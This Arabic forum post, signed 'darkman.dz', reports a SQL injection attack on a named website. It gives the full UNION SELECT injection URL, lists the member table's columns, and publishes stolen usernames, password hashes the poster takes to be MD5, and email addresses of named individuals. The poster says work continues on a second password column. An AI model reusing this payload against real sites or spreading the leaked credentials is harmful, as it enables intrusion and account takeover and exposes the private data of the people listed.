غرفة حقن قواعد البيانات {غرفة Sql }

[darkman.dz]

الحقنة كاملة

http://www.cnet.org.uk/news1.php?ID=-60 union select 1,version(),group_concat(username,0x3a,password,0x3a,email),4+from+pm_members--

هناك عمودين للباسوورد
أنا طبقت على الثاني وجاري العمل على الأول للإستطلاع

cn_members:MemberPassword:cnet_org_uk_-_db
pm_members:password:cnet_org_uk_-_db

وهاته الجداول

pm_members:id:cnet_org_uk_-_db
pm_members:member_id:cnet_org_uk_-_db
pm_members:username:cnet_org_uk_-_db
pm_members:password:cnet_org_uk_-_db
pm_members:email:cnet_org_uk_-_db
pm_members:signature:cnet_org_uk_-_db
pm_members:location:cnet_org_uk_-_db
pm_members:url:cnet_org_uk_-_db
pm_members:occupation:cnet_org_uk_-_db
pm_members:interests:cnet_org_uk_-_db
pm_members:bio:cnet_org_uk_-_db
pm_members:bday_day:cnet_org_uk_-_db
pm_members:bday_month:cnet_org_uk_-_db
pm_members:bday_year:cnet_org_uk_-_db
pm_members:icq:cnet_org_uk_-_db
pm_members:aol_im:cnet_org_uk_-_db
pm_members:yahoo_im:cnet_org_uk_-_db
pm_members:msn_im:cnet_org_uk_-_db
pm_members:show_email:cnet_org_uk_-_db
pm_members:get_email:cnet_org_uk_-_db
pm_members:joindate:cnet_org_uk_-_db
pm_members:numentries:cnet_org_uk_-_db
pm_members:numcomments:cnet_org_uk_-_db
pm_members:lastpost:cnet_org_uk_-_db
pm_members:status:cnet_org_uk_-_db
pm_members:ipaddress:cnet_org_uk_-_db
pm_members:deft_weblog:cnet_org_uk_-_db

وهاته الإيميلات وباسوورداتها مشفرة
على ما أعتقد md5

admin:d20c2b4dab47f7ae84f580e21dd32cbf:admin@cnet.org.uk
janet:d20c2b4dab47f7ae84f580e21dd32cbf:janet@cnet.org.uk
steven:d20c2b4dab47f7ae84f580e21dd32cbf:steven@cnet.org.uk
mel:d20c2b4dab47f7ae84f580e21dd32cbf:mel@cnet.org.uk
bernie:d20c2b4dab47f7ae84f580e21dd32cbf:bernie@cnet.org.uk
sally:d20c2b4dab47f7ae84f580e21dd32cbf:sally@cnet.org.uk
sue:d20c2b4dab47f7ae84f580e21dd32cbf:sue@cnet.org.uk
alan:d20c2b4dab47f7ae84f580e21dd32cbf:notsure@yet.com
JaneTaylor:cf6567db885b2a722b71ee54d9002453:jane@labrysmm.co.uk